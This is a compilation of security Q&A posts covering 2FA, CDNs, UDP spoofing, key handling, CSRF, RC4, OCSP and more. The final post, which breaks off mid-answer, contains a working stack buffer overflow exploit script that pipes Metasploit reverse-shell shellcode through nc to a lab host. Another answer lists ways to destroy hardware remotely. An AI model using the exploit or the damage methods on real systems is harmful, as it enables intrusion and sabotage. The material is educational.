Secure forwarding of 2FA SMS codes Do solutions exist for forwarding SMS messages whereby:

the service provider stores no logs of messages
login protection with google authenticator or comparable

In short I think its unlikely - it would be a very niche solution.

There are numerous services which support syncing of messages from a mobile to online clients - but these work by storing your messages to a database - you could use a dedicated mobile left somewhere secure with a mobile signal to receive the messages.

There are also various online services which allow you to receive SMS's to a dedicated number via their website.

  login protection with google authenticator or similar.

You want two factor for your two factor? :P

I think you are misunderstanding a couple of things. First is the purpose of 2FA. Second is the security (or lack thereof) of SMS. Two factor via SMS is not very secure - it is very easy to view an SMS while in transit (especially if you are within range of the same tower as the legitimate user). Its also not that difficult to clone a mobile SIM. You also need to realise you are inherently trusting a service provider as it is (your cell provider).

So either of the above options simply add an additional party to an already fairly insecure system.

The purpose of Two factor is a separate channel that an attacker needs to compromise. Obtaining a username/password combination and intercepting an SMS require two very different resource and skill sets. Unless you are a high value target expecting dedicated resourceful attacks (in which case frankly you shouldn't be using SMS in the first place), you have to ask what is the probability of my credentials for a service being breached AND the same attacker identifying me as using an SMS relay service / lifting the two factor code from it before it expires. Unless you have used the same credentials for both services i'd argue extremely slim.


Are externally referenced libraries (CDN's) a security issue? Today I read about an alleged malware attack targeting jQuery.com

A german blogger who is what I would call an expert on IT security stated that

  Any website that is working with individual-related data should not reference external libraries

Yet, usage of CDN's is recommended by large companies like Google as well as considered a best practice for performance improvements.

Should I host libraries I wish to work with on my own web space, when my apllication is working with sensitive data?

The answer to this question has two sides...

First:

If you host the libraries yourself then you have to check the security notices on the library regularily and update the library accordingly. This can be a very time consuming task if you include several libraries which must be updated independently.

On the other side you can audit each library you use.

Additionally you have to prevent any attack to this libraries yourself. If you detect an attack you can handle this very fast.

Second:

If you use a CDN then the ownder of the CDN updates all libraries for you. You have no work with updating the libraries yourself.

The audit for the libraries are (hopefully) done by the company of the CDN. You cannot influence this audit.

A CDN should prevent any attack to the hosted libraries. If an attack is detected then the CDN will handle this attack. Perhaps the libraries are compromised and the CDN is delvivering modified libraries which can infect your customers...

Finally

The CDN lowers your work with the libraries as they do much work that has to be done by you otherwise.

On the other side you have to trust the company of the CDN to handle all security issues fast enough to not harm your customers.


How is UDP hijacking even possible? My doubt is this: UDP has no sequence numbers, so what indeed is the concept behind UDP session hijacking?

You are correct in that UDP does not have a state like TCP has, so in a literal sense there is no session to hijack. However, because of this it is impossible to verify the identity of the sender of an UDP packet. All you have to go on is the sender IP in the UDP header, and that could trivially be spoofed. In that sense, it is easier to session hijack UDP than TCP or HTTP, since you do not have to worry about sequence numbers or session cookies.

So an attacker sniffing your network traffic could read the UDP packets you send to a server, and then send a response spoofed to look like it is from the server. Your computer will naively assume that the spoofed response is the real response if it arrives first, since there is no way to verify the identity of the sender.

Do note that you do not have to be able to modify the traffic, only sniff it, to do this. You could send your spoofed response from anywhere. But this could sometimes even be done without any sniffing - just send out UDP packets and hope it match something, or that a client will accept the response even though it has not sent a request.

So what could this be used for? For instance you can mess with two of the more common UDP protocols:

DNS: Send a false response to a DNS lookup, and you can fool the victim into resolving www.mybank.com into an IP you control, where you serve a phishing site. (This will not work if the site is then requested over HTTPS, since you will not be able to serve a valid certificate.)
NTP: Send false times to a client, thereby controlling its clock. This could for instance be used to "expire" a HSTS post (if time is moved forwards), or make and expired certificate valid (if time is moved backwards).


Is it ok to have self-signed certificates in source control? I just asked the question

SSL self-signed certificates in development vs acquired cert in production?

which has promptly been answered (THANKS!).

Out of that, I have the following question:

Is it ok to have my self-generated and self-signed certificates in source control?

Generally I know passwords, etc. should not be in source control.
But as these certs are used for development and test only, I thought there wouldn't be a problem?

The issue is that we use codeship for deployment, and there I can't run scripts to copy things around...thus the only way I see to deploy the dev certs is to have them in source control (I will need to figure out how to do it for production though, but that's a different issue).

Secrets -- private keys and passwords alike -- shouldn't be stored in source control. Where possible, self-signed certs should be replaced with centrally signed certs as well.

Software such as Vault facilitates distribution of secrets and most importantly rolling of them.

In this way you can setup your development machines with a level of control and stay away from the bad habit of secrets in source control because even if they are a self-signed certificate, they're still a bad habit. Things that are meant to be low value or secure unimportant things often become important later and forgotten.

Set it up right and stay with it right.


Internet Access by server pattern I'm trying to get the best picture for my infraestructure. I came across a business case where my app server (far beyond DMZ and protected by 3 levels of firewalls) needs to talk with other (external and public) server.

I can open the firewalls in order to allow the communication with just the URL I wanted, but I don't think this is a good practice.

Looking for a clever solution I've found a pattern where the app server ask for the resource to a server located in the DMZ, this avoid the "direct" internet connection for my server. The server in the DMZ will start the conversation and forward the data to the app server. This seem to be safer, but it's very weird and, to my taste, error prone.

Is there a good solution for this? Is it just enought to open the firewall only output traffic to a specific server?

Thank you all in advance.

The DMZ server in your example could be a simple proxy server.

If you use a well known / open source proxy server, this will obscure a lot of information about your internal server and prevent some classes of attack in the event the internet service is compromised.

You can also use it for secure logging - particularly useful in the event of an incident on either side of the connection


Encrypt WiFi connection per connected user One of the questions that comes on quite often is about WiFi encryption.

Now imagine that you have multiple users connecting to one AP. With a simple WPA2 protection setup they can still sniff each others traffic.

What technology would allow a different encryption key per user? So that when multiple users are on the same AP they would not be able to see each others plain traffic?

Does RADIUS implement this? How does the initial setup work?

Can this also be done with a simple home AP?

Edit

For the bounty I'd like to see some expansion in regard to EAP protocols.

I'm going to assume your goals are the following:

Prevent unauthorized access to the WiFi AP.
Maintain the confidentiality of traffic between WiFi clients and the AP.
Maintain the integrity of traffic between WiFi clients and the AP.
Allow multiple users to authenticate to the AP with different credentials.

RADIUS implements goals #1 and #4, but not in the way that you might expect. In traditional 802.11 authentication, the client sends an authentication key to the AP, which verifies it and, if correct, allows the client to connect. The actual key exchange is more complicated, and varies depending on what security protocol you're using (e.g. WEP, WPA, WPA2), but that's somewhat irrelevant to our scenario.

RADIUS sits on top of these protocols, acting as a credential provider. With RADIUS, the AP sends all authentication requests over to the RADIUS server (usually via wired ethernet) responsible for managing the AP. One of the major benefits of RADIUS is that different users can log in with different credentials, and all attempts can be logged and audited. Some configurations allow for client certificates as an authentication mechanism, which is much stronger than traditional passwords. However, the use of RADIUS does not solve #2 and #3, because the underlying security protocols (WPA / WPA2) are flawed, allowing traffic to be sniffed, decrypted and (in certain scenarios) modified by authenticated clients.

In order to fulfill goals #2 and #3, you need to implement IPsec on your network. IPsec acts as an end-to-end cryptography mechanism at the Internet layer (i.e. IP layer), providing confidentiality, integrity and authenticity. Authentication is part of IPsec, so it partially supercedes RADIUS in this purpose.

In any case, IPsec should act as a strong authentication mechanism, using client certificates. Further security via RADIUS is a good thing, because it allows the following benefits:

Protection from standard WiFi cracking attempts.
A credential store for VPNs, remote NAS, etc.
Full audit / logging for device authentication on the AP.

In terms of your last question, "can I do this on a home AP?", it depends. Almost all will allow for RADIUS, but I'm not sure how many will support IPsec. RADIUS on its own will not prevent sniffing between legitimate clients, but it will provide a barrier to unauthenticated clients. You need IPsec to enforce confidentiality.


Should Hashes of Sensitive Data be Encrypted I'm planning on storing chunks of encrypted data inside a file, along with each chunk would be the hash(sha256) of the unencrypted chunk stored in the file as well. Is storing the hash secure?

Generally speaking, no, it is not as secure.

One specific security property you lose is that of indistinguishably. What indistinguishably gives you is the ability to prevent an attacker from determining when two ciphertexts are the same message, or different messages. In order to provide this, modern encryption methods generally provide a way for you to encrypt the same message twice, or any number of arbitrary times, and end up with completely unrelated ciphertexts each time.

If you also hash the plaintext, you lose this, as the hash value will always be identical for identical messages.

Depending on the specific application, there are other security issues you could run into, up to and including the potential for complete recoverability of the plaintext from the hash values alone, but the loss of indistingishability is a certain effect.


Is it completely safe to publish an ssh public key? I use a RSA key to log into remote servers with ssh. And I keep my dot files under version control in a publicly accessible place so that I can quickly setup new servers to work the way I like.

Right now I don't have my .ssh directory under version control. But it would save a step if I could keep .ssh/authorized_keys in the dotfile repository.

It's just a public key. My private key sits only on trusted client machines in my possession, of course. I made it a 4096-bit RSA key because that seems like the best balance between wide compatibility with common sshd versions and security.

So my question is, is there any security problem with literally publicly publishing the public key? Nobody is regularly nosing around my dotfiles repository, but it's not a secret and anybody interested could read them.

Public Keys are designed for sharing, read access to and or publishing a public key is fine

Private Keys are secret, they should only be accessible to the owner of said private key.

To drive this point home, think back to every HTTPS website you have ever visited.  In each case, as part of HTTPS the site gives you their public key.  So not only is it safe to publish it, it is intended to be this way.  For example, if you click on the green lock icon on your address bar, you can find the public key for this website (if you are viewing it on HTTPS)

*.stackexchange.com

Modulus (2048 bits):
af 46 03 ce c7 13 e6 2e 93 d8 56 91 b1 31 8d 0a
22 c1 f0 eb 4f 5e ef 0d f6 20 32 b9 a4 4e 87 f9
d2 d2 44 51 b0 df 30 50 c9 35 4e 68 19 84 fb 98
33 aa 05 4b 7e fb 57 c5 b6 2e a8 4b 04 ca cf 5e
2e e5 9e 1b ca b7 60 c5 58 2c b0 df c4 6b 0d b1
2c 33 97 73 54 61 2b 9a 1b b1 dc 5d 10 a9 c4 c8
f7 6c e3 55 6e b5 0e 61 3b 35 24 0b 89 1e 32 a2
75 69 4e 97 40 68 ee 23 48 f2 71 9f c7 7e e2 9d
6c 22 55 36 24 64 a4 f0 b6 52 58 5a 9a 44 e7 3b
2a d5 ed 95 63 f8 1d a8 4d 45 9b 5d c2 f2 f9 74
81 06 18 d5 b1 fb b0 7e 5d 50 1f 63 5c a0 73 f5
22 b2 57 64 03 e6 b7 0f 6f b7 58 0b 57 80 56 51
65 9f f5 09 61 63 29 62 4d 30 02 3a 64 10 2d 95
b8 12 36 04 58 c5 d7 1d 95 e2 21 3c b0 b3 93 35
b2 b1 f9 6d 7e 20 66 b2 68 33 e9 50 a8 15 1e 0a
80 9a 3c 19 dd cc 79 35 a8 8c 1b 61 33 5d 12 2f

Exponent (24 bits):
65537

Further examples of this can be found on github.com where they request that you attach a public key to your account for use with git clone git@github.com:<user>/<repo>

You can actually check the public keys of any user on github with the following URL

https://api.github.com/users/<user>/keys

mine is listed as:

[
  {
    "id": 18667533,
    "key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDraswAp7EbMwyYTzOwnSrsmr3nNMDaDf4e2YVaehLc9w6KN2ommomXZO8/V9N3yINNveGqrcVc9m2NTm04iILJUKd9o25ns8QIG6XSCt9SVx/Xw1J/SXfIWUKuEe0SgmIwVwkk8jetfG/Z7giSiU3dxxC4V9lHQCFgKOKBWGpNbINmqtmBWncX3HJKeXrpSddoePbZZ84IEFr4CWUlqoXyphpxqzpfA9sRpVTtyBPcUSj68j4+gKgEQN65G6LXys3q8BiwWxucci6s34vp4L8jKn7uYh26vLuT1oIbODJphCmpvMH+ABPkNQcFBk4rRLpCEAsoAhmvTk/NjnfZM+nd"
  },
  {
    "id": 21175800,
    "key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5tPV481acCZ5wm2E15gXkVRaKCE3lic/O8licyzW+eDE9rPpG4rHRRH9K2ENmstUh5nLEenb0nNhEGnsf3pIJRZ07JXwv16+lsJBSS8+YiWeMBlwo+JNaxwSyUlYUgl1ruogr0nR0KBqsYSWXuG0s2jm2IOV+0B/0fzDR/tiLFLj50+iJ9qCDSk/8fAsXz2xG39KcUcxmCbDXb/qSdESWaZc+pafNRiCcVNfMkKeDViWlzI4VkiTcfVCraHUuYx4jgOBB526dRWSDG9bLchwlJiopgT+k4X/TNe2l01DPwYetwLvY6V8rcPrjjJL8ifRTMSof1zRIoBgJZhRzWc1D"
  }
]

The exact opposite is true of Private Keys which should be secured at all times and never given to a third party or exchanged via email without encrypting them.

If someone has accessed your private key, they have the ability to access any device or encrypted file that was protected with your public key.  It also means that they can sign things on your behalf. It is VERY bad if someone has gained access to your private key.

In many cases SSH Clients will not function if it is detected that the permissions of the Private key file are such that users other than you have read access.


Security risk of PING? I have been told that PING presents a security risk, and it's a good idea to disable/block it on production web servers.  Some research tells me that there are indeed security risks.  Is it common practice to disable/block PING on publicly visible servers?  And does this apply to other members of the ICMP family, like traceroute (wikipedia on security)?

The ICMP Echo protocol (usually known as "Ping") is mostly harmless. Its main security-related issues are:

In the presence of requests with a fake source address ("spoofing"), they can make a target machine send relatively large packets to another host. Note that a Ping response is not substantially larger than the corresponding request, so there is no multiplier effect there: it will not give extra power to the attacker in the context of a denial of service attack. It might protect the attacker against identification, though.
Honored Ping request can yield information about the internal structure of a network. This is not relevant to publicly visible servers, though, since those are already publicly visible.
There used to be security holes in some widespread TCP/IP implementations, where a malformed Ping request could crash a machine (the "ping of death"). But these were duly patched during the previous century, and are no longer a concern.

It is common practice to disable or block Ping on publicly visible servers -- but being common is not the same as being recommended. www.google.com responds to Ping requests; www.microsoft.com does not. Personally, I would recommend letting all ICMP pass for publicly visible servers.

Some ICMP packet types MUST NOT be blocked, in particular the "destination unreachable" ICMP message, because blocking that one breaks path MTU discovery, symptoms being that DSL users (behind a PPPoE layer which restricts MTU to 1492 bytes) cannot access Web sites which block those packets (unless they use the Web proxy provided by their ISP).


If I clone a VM with VirtualBox can software detect it's the same VM? If I clone a VM with VirtualBox and change the MAC address, can some software/web tracking tools detect that it is the same VM?

Basically, does cloning a VM with a new mac creates a new identity?

One thing that could be done is to fingerprinting the Machine and be very ,but not absolute, sure that the device is the same.
From Fingerprinting the Browser to open Services and it's Version its very broadly how they could fingerprinting it. MAC Addresses are only one thing that goes into that account and if you are prepared that this could be changed (as software or software user) you could conclude that nothing changes beside that, it could be the same machine or a cloned machine


CSRF protection for an email subscription website - are there any risks of having it turned off? I have a main website with an email subscription form. And my other websites where I have an email capture form. A user enters their email on those website and via POST he's redirected to the main website where an email he's entered is already pre-populad in a subscription form and where a user now has to click "Confirm to subscribe".

Is this correct that there's little to no risk of getting attacked by CSRF? At the moment there's no authentication for users. In the future there it may or may not be added.
When CSRF protection is turned on on my main website, all requests, of course, from my child websites to subscribe get rejected. Is this a correct behaviour and is there one details missing to make them come through?

Or should I turn  CSRF protection off and is this how it usually is on other websites out there with the same functionality?

CSRF is only a threat when the request triggers some security-relevant action. If the request doesn't change anything or potentially expose any private data, it doesn't need CSRF protection. A POST request that just pre-populates a field isn't state-changing, if the user still needs to click "Confirm" before the server is updated. (Of course, the "Confirm" button would still need to have CSRF protection on it, though keep reading...)

Additionally, since the site is unauthenticated, CSRF protection probably isn't even needed. If there's no user-specific data or possible actions that aren't public to the whole world, then an attacker doesn't need to forge requests in somebody else's browser, because there's nothing the victim's browser can do that their own cannot. HOWEVER, if you are planning to add authentication, or if there's a "temporary session" thing where users enter some data that an attacker doesn't know, and the attacker wants to do something with that data other than what the user wants to do with it, then CSRF (and XSS) can still be threats.

Having CSRF protection disabled for specific requests is pretty common, though, when those requests don't change any persistent state or expose any data.


How do I determine where ssh login attempts are coming from? We had been testing an AWS instance accessing an internal Ubuntu 10.04.3 server, so had modified our firewall to allow all ports from that specific IP address to the server.  We then released the AWS instance but forgot to remove the firewall rule.

Yesterday, someone noticed failed login attempts in auth.log which were coming from various China and Korea locations (according to whois.sc).  So we removed the firewall rule, and the login attempts stopped.

Here's a section of auth.log showing a failed login attempt:

Feb 23 12:33:15 TestServer1 sshd[18822]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=117.21.226.10  user=root
Feb 23 12:33:15 TestServer1 sshd[18822]: pam_winbind(sshd:auth): getting password (0x00000388)
Feb 23 12:33:15 TestServer1 sshd[18822]: pam_winbind(sshd:auth): pam_get_item returned a password
Feb 23 12:33:15 TestServer1 sshd[18822]: pam_winbind(sshd:auth): request wbcLogonUser failed: WBC_ERR_AUTH_ERROR, PAM error: PAM_USER_UNKNOWN (10), NTSTATUS: NT_STATUS_NO_SUCH_USER, Error message was: No such user
Feb 23 12:33:17 TestServer1 sshd[18822]: Failed password for root from 117.21.226.10 port 2539 ssh2

Obviously, since the firewall rule was still in place for the AWS instance, it was letting traffic through for that IP, but I'm wondering how the external IP 117.21.226.10 was getting access to our internal server.  Is that possibly a spoofed IP, and not the real originator?  If that's true, doesn't it mean that Amazon allows spoofed packets on their network?

I'm not the network configuration guy here, and am wondering for my own benefit, so please excuse me if this is a noob question.

As Ladadadada said, the IP logged by SSH was indeed the attacking system's address.

I talked with our network guy and he had set up a One-to-One mapping of the AWS instance's IP address to an external IP in our firewall that pointed to our internal server.

192.168.30.36 <-- 123.123.123.123 (our external ip) <-- Internet <-- Amazon IP

He believes that when we released the AWS instance somebody later got a new instance with that same IP.  They used the instance as a gateway for bots to probe the network and happened to find our server.


Someone called my cell phone offering services about something I have been looking for in the web I recently started gathering information about poker and poker online.  I had no idea about it and I have spent about a week surfing the web (mainly using Google) and consulting different web pages and forums.

Today, I received a phone call offering me some kind of special price in an online casino which I obviously don't want. They have told me they have obtained my cell phone because I have been surfing the looking for information about poker.

I have not been able to obtain any more information. I am somewhat worried about how they got my telephone number and what's more important, about how they know I have recently started to search for poker online and all that.

I can summarize my internet privacy like this:

I have no Facebook acount, nor Twitter, nor any other kind of social network.
I have a Gmail account which indeed has my phone number.
I also have an Amazon account which also has my phone number associated with it.
During the process of searching for information about poker I registered myself in a forum, but I didn't gave them any kind of private information, not even my name (I used a different email account that I use for these kinds of things )
I also bought in Amazon an e-book about poker, and the Seller was Amazon EU Sarl.
I have also performed a virus scan and my updated AV software hasn't found any problem.

As mentioned by multiple people that commented, there are many ways that this could have happened, and any guess as to how this happened is largely based on conjecture.

Having said that, my guess is that one of the sites that you visited may have used some sort of marketing automation tool (such as Marketo), which (possibly through the use of browser fingerprinting or 3rd-party cookies) identified you, and got your phone number by cross-referencing you with some other database.

At http://launchpoint.marketo.com/netfactor/782-visitortrack/, Marketo advertises that they can "...turn invisible web visitors into actionable prospect intelligence including Company name, Address, Phone number, Website, key Executives, email addresses and more".


Private contact discovery - calculating probability of false positive I'm working on contact discovery for a service and want to do it in a way that maintains privacy as much as possible, without using Signal's Private Contact Discovery Service (https://signal.org/blog/private-contact-discovery/), due to hardware/infrastructure limitations.

A user will grant access to their contacts and the mobile apps will generate a SHA-256 hash for each phone number and email address found. The first N characters of each hash will be sent to the server, where they will be compared with the hashes of the contact details of users who use the service.

For each partial match, the server will reply with the next M characters, returning N+M characters, where N+M is less than the length of a SHA-256 hash.

The mobile will then compare these more complete hashes with the ones it generated and mark any users with a match as being a user of the service.

How can I calculate the required values for N and M, so that the chance of a false positive (marking a user as a user of the service when they are not) is 1/1,000,000,000?

The mathy bit

Let's play with the numbers, but correctly. SHA-256 outputs a 256-bit hash. An n-bit string can represent 2n possible values, so the odds of randomly guessing a given n-bit string are one in 2**n. Therefore, to get under any probability P of colliding with any given hash, we need to get ceil(log2(P)) and send at least that many bits. How many characters that is depends on how you represent the bits.

But notice my wording there: "any given other hash". That means you need, at minimum, 30 bits to ensure less than one-in-a-billion odds of collision with a single other hash. To ensure no collisions within your database at all, we need to account for the fact that we're not just comparing one hash against one other hash, but one hash against every other hash. So... do the same math I did, but instead of ceil(log2(P)), it's ceil(log2(P * C)), where C is the count of other hashes. It doesn't affect the value all that much, frankly; another few zeroes will only add a few more bits on to the end. Exponents scale really fast.

As a fun side note, even if you had 1 000 000 000 000 (1012, "one trillion" to Americans) contacts in your system, using the full 256-bit hash, the attacker would have to guess on average 100 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 000 (1065) hashes before getting a match.

The frame-challenge bit

But I think you're going about this wrong. You say you want to maintain privacy by avoiding sending data. But... there's no way1 to extract data from a hash. Why not just have the client send all of their hashes to the server and the server sends back the ones that match? It'll be simpler to implement and leak insignificantly more information. Plus, that way you don't trust the client to be honest about which contacts they have; the server, which you control, is doing all the validation. In total, I think that'd actually leak less data to a malicious user than your current scheme.

Otherwise, consider this scheme:

Attacker produces a random prefix and sends it to the server, claiming it's a contact of his.
Server sends back all of the matching hashes.
Attacker sends back a confirmation for all of them.
Server now allows Attacker to claim everyone with any partial match as a contact.
Attacker can message, get their actual contact info, etc., depending on what your service provides.

In contrast, with my idea, the attacker would have to brute-force guess every hash. That's certainly possible, but even if they managed a trillion guesses a second -- an unlikely situation, given that they'd have to hit your server for every single one -- it'd take on average 2.3 times the life of the universe to guess a single collision. ...Er, wait, sorry, I misread my notes. It'd take about 2.3 hundred million billion billion billion universe lifetimes. Turns out 2256 is very big.

1: Okay, there sort of is a way to get data out of a hash, depending on the hash you used. Something considered "strong" like SHA-256, though, can't be reversed -- just make sure you build in a way to easily upgrade the hash algorithm if/when SHA-256 needs to be replaced. Prefixing the hash with the algorithm is a useful, secure way of indicating hashes used without much fuss.


Use of RC4 on real time application I need to use a stream cipher in my application. I know using the same key for many messages is not a good practice for stream ciphers (RC4). But I also dont want to make a new key all the time so I came up with the following.
I create securelly a secret key. Then for every message I send, the key I use in the encryption will be the sha1 hash of the previous key.
So for 1st message the key will be key = sha1(key)
for the 2nd message the key will be key = sha1(sha1(key)), etc..

key := makeSecureKey()
while(true){
     key := sha1hash(key);
     message := getNewMessage();
     encrypted_message := RC4.Encrypt(message, key);
     send(encrypted_message);
}

Is encryption used correctly here?
Finally if instead of using the 160bit result of the sha1 algorithm, I use only the first 128 of the 160bits as a key is there a problem?

This is bad practice for so many reasons.

RC4 has been broken every which way since Sunday.
Your key generation algorithm is home grown and may not be safe. Perhaps someone on crypto.stackexchange.com is willing to analyze it for you. I'd leave it behind and use a published KDF.
There are known attacks against RC4 that involve subsequent derivations of a starting key. I do not know if there is one for this.
The SHA hashing function wasn't designed to be a good PRNG, nor a good key generator, these aren't its purpose. There may be artifacts within the resulting hash that compromise how any cipher uses it as a key, let alone RC4.
Modern block ciphers with CBC mode are faster than your network stream can handle data, so if this is traveling over a wire, you don't need a stream cipher.

This Q&A has an excellent answer for why you should use block ciphers over stream ciphers. Also, I prefer AES+CBC for Privacy (encryption) and HMAC for Integrity protection over algorithms like EAX or GCM which perform both in one step. Not sure if I could defend this position (security, mathematically), nevertheless the one algorithm to address both bothers me.


OCSP responder servers and malicious site blocking So I've been looking for an answer to this one but no one seemed to have asked this before.
As far as I understand, when connecting to a website. The browser sends a query to an OCSP server to verify the current validity of it's ssl/tls certificate.
It also queries a service to check if the website is malicious ("block reported attack sites" on firefox)
What came to mind is, does this not pose a privacy issue? If every site I visit is passed along to some server to check whether it is malicious/has a valid certificate?

I am aware of the fact that SSL root CA's are stored locally, but the validity of the website's certificate sure isn't.

The browser sends a query to an OCSP server to verify the current validity of it's ssl/tls certificate.

Yes, with OCSP the OCSP could figure out which site the user visits. It cannot figure out which URL but it can determine the certificate the browser tries to access and thus which site. OCSP requests are not done for each HTTPS request to the same site but the response is cached for some time. Some server periodically get the OCSP response from the OCSP responder and send it together with the certificate (OCSP stapling). In this case the browser does not need to query the OCSP responder itself which is a good thing for privacy and also for performance. Apart from that the Chrome browser does not make use of OCSP anymore but instead has there own curated list of revoked certificates. Not everybody agrees that this is really the better way.

  It also queries a service to check if the website is malicious ("block reported attack sites" on firefox)

Initial versions of this feature (Google Safebrowsing) checked each site by asking a central server but this was long ago. Today a local database is updated regularly and checks are done offline against this database. Only if this offline check indicates that the site might be malicious it will go online and verify this with the central server. Thus this feature is no longer much invasion of privacy.

But there several firewall/antivirus products still behave this way and send unknown URL's to the firewall vendor which then makes another access to analyze the potentially malicious site. Some vendors even go as far as selling these profiles to interested parties like advertisers.


What type of permanent damage could be done to my computer through remote access (TeamViewer)? Hypothetical scenario (please note that this is indeed hypothetical, and I would never dream of actually doing this. I'm asking out of curiosity.)

I have a normal desktop computer with a clean installation of Windows 10 and no personal or sensitive data on the machine at all. The computer is not sharing a local network with any other devices. This is a normal system, and not a virtual machine.
I give a malicious user remote access to this machine, through the software TeamViewer. The peripherals like USB keyboard, mouse, etc, are disconnected the moment he gets access. The malicious user can spend a few hours doing whatever they want.
After the malicious user is done, the computer is immediately shut down. I then boot from a Linux live CD, format the internal drive of the computer, and install a clean installation of an operating system (Either Windows 10 or Debian, for example.) there are no other storage devices connected to the computer.

In this case in what ways could my computer still be compromised or damaged? We can say that the malicious user knew I might format the drive, and prepared especially for that. They might simply have been interested in doing damage, or compromising the computer in some way.

On some CRT monitors there was a relay that was engaged when changing screen mode.  By changing screen mode repeatedly very fast, it was possible to destroy this relay.

Apparently some modern monitors can be wrecked by forcing them into invalid screen modes, but they must be pretty rubbish monitors.

Someone has mentioned flashing the BIOS to wreck that.

The microcode on some CPUs can be amended: wreck the CPU.

If it is a laptop, it may be possible to wreck the battery by reprogramming it: http://www.pcworld.com/article/236875/batteries_go_boom.html

With flash memory based SSDs or USB drives, re-write the same part of memory over and over to have it reach its end of life sooner.

On a cheap hard drive, forcing the stepper motor to push the drive heads fully one way beyond the end of the drive and then step back, repeatedly, could knock the heads out of alignment.  I've known drives where the heads could get stuck if sent beyond their proper range (Tulip brand PCs in the 1990s).

I also wonder if you could change any BIOS settings such that the RAM or CPU or even GPU could be damaged, by overclocking or changing the board voltages.

Cook the GPU by driving it hard after over-riding its automatic temperature control.  Ditto for the CPU.

Change BIOS settings to turn off the CPU fan then drive the CPU hard enough to cook it.


What capabilities does the Kazakhstan root CA have which other "trusted" CA's don't? Kazakhstan recently tried to force users again to install a root CA. This has been rejected again by numerous western tech companies.
https://www.engadget.com/tech-giants-browsers-block-kazakhstan-web-surveillance-080031499.html
How they do it might be questionable. But consider they would have gone the official way to put up a root CA and get it into OS or browser root CA stores. Or instead the US would force users to install a root CA. Lots of countries already own a CA. Would this be any different regarding capabilities to snoop and modify traffic?

Would this be any different regarding capabilities to snoop and modify traffic?

In case of Kazakhstan the government essentially urged their citizen to explicitly install this CA as trust into the browsers. This is similar to how SSL interception in companies is done.
CA installed this explicit way are handled slightly differently from pre-installed CA: any pinning of a domain to a specific certificate or CA is actually ignored with many browsers in this case. This means it would be possible to intercept SSL traffic to google.com, facebook.com even though browsers like Chrome have these domain pinned to specific CA. Such interception would not be possible though if the CA just comes as pre-installed since it this case pinning is enforced.
Note that this is not a difference in the CA certificate itself, but only if it was explicitly added as trusted or if it came pre-installed with the browser/OS.


What would be a good set of criteria to consider a password safe? Nowadays we see many websites with a "security meter" for the password.

I actually think this is a great feature since it gives the final user the sense of how insecure their password could be. I wish I had a dollar for each time I heard final users stating how secure their password "password" is.

The issue with those meters is that they can be really unreliable. Recently I just discovered one that just gives the security by how many characters you input. That means that if you use stuff like: 111111111 or 123456789 it considers it to be the ultimate secure password.

Lets define 3 levels of security. Bad,medium, good.
What would be a good set of rules to consider a password in each group?

Clearly length, character diversity (including small case, large case, numbers) are important, but some of these passwords would still be vulnerable to dictionary attacks.

What would be a good set of tests for each level?

This can be up for discussion since the threat and risk depends on how important the information protected by the password is. A good password to login to, let's say "home cooking forum" is not as important as the bank one.  For the sake of the answer let's consider the an average website like an online shop or youtube as the reference.

The concept you are looking for is called password entropy. Entropy is the measure of how many different combinations is possible, and is usually measured in bits. Entropy both depends on the length of your password (concatenate two passwords and you sum the entropy) and how you generate it.

If your password is a random string generated from the base64 charset, each character has 6 bits of entropy. If you randomly pick 5 words from a list of 4086 english words, each word has 12 bits of entropy, and there is a total entropy of 60 bits. Therefore, a 5 word password chosen as above is as secure as a 10 char base64 string (or a 15 char hexadecimal string), and somewhat easier to remember.

Some things to note: A base64 charset generally has uppercase and lowercase alphabetical, numerals, and 4 other characters. 5 non random words (such as a grammatically correct phrase), in typical english, has 2.62

I'll finish later.


AES-ECB known ciphertext/plaintext attack i'm new to crypto and am working on a little exercise to understand the weakness of ECB mode encryption. Here is the scenario. I have the plain text "I am not tall" and the associated cipher-text generated using an unknown key with AES-ECB. Is there any way I can change generate the ciphertext for the string "I am yes tall" using the information that's available to me?

No.

Blocks are 16 bytes in size for AES 128 (= 16 letters in ASCII, 8 letters in UTF-16, etc.).

If you have cleartext and ciphertext you know now a number of 16-byte-plaintext/ciphertext pairs and can shuffle them around.

Maybe you can construct an example with something like
"please transfer USD XXXXX from account YYYYY to account ZZZZZZ"

If you have a couple of messages and the blocks align in a meaningful way you could get creative.


Bufferoverflow - jmp esp. Do I need nops sled? Does call esp also work? I'm learning about stack buffer overflow and I'd appreciate help.

I'm exploiting simple web server containing this log function. Argument s1 is the input that I supply via HTTP. Server is running on x86 linux with stack address randomization.

void log(int type, char *s1, int num)
{
    int fd ;
    char logbuffer[1024];
    sprintf(logbuffer," INFO: %s:%d",s1,num);
}

With metasploit pattern_create.rb and pattern_offset.rb I get offset of EIP that is 1037.

I generate shellcode with msfconsole; use linux/x86/shell_reverse_tcp; generate -e x86/alpha_mixed -t bash

I find several addresses in standard library containing jump %esp instruction. I am using 0x42122BA7.

My complete exploit script:

pre=`perl -e "print 'A' x 1037;"`
nops=`perl -e "print '\x90' x 9;"`
shellcode=... [from msfconsole]

address="\xA7\x2B\x12\x42"

egg="${pre}${address}${nops}${shellcode}"

echo -e $egg | nc 192.168.230.132 8888
echo $?

The exploit is working only when I include 9 and more nops between the overwritten EIP and start of the shellcode, otherwise it seg faults. My question is why? Why is the nops sled necessary in this case? My hypothesis is that the shellcode is decoding itself and overwriting some memory before it; when I include nops, the memory is writable, when I don't, the memory is not-writable (because it is before ESP?) and therefore it seg faults.

My second question is whether this exploit would work with "call %esp" instead of "jmp %esp". According to what I found on the internet it would work, but I don't understand why. Imagine the same exploit as wrtitten above but overwriting the EIP with address containing "call %esp". This is my understanding what would follow:

log function returns. EIP is popped of the stack and processor jmp on it. ESP points under (bigger address) just-popped EIP (NOPs are there).
processor finds "call %esp" instruction. EIP is pushed to stack. ESP now points at the just-pushed EIP.
jmp %esp is executed. Jumping on the top of the stack where is the EIP that was just pushed.
What now? Next instruction isn't a NOP but some random first byte of the EIP.

I figured out an answer to the second question. According to this (https:// www.offensive-security.com /metasploit-unleashed/alphanumeric-shellcode/), the shellcode generated by Metasploit needs to get its absolute memory address to work. First five instructions of the shellcode serve this purpose. These are:

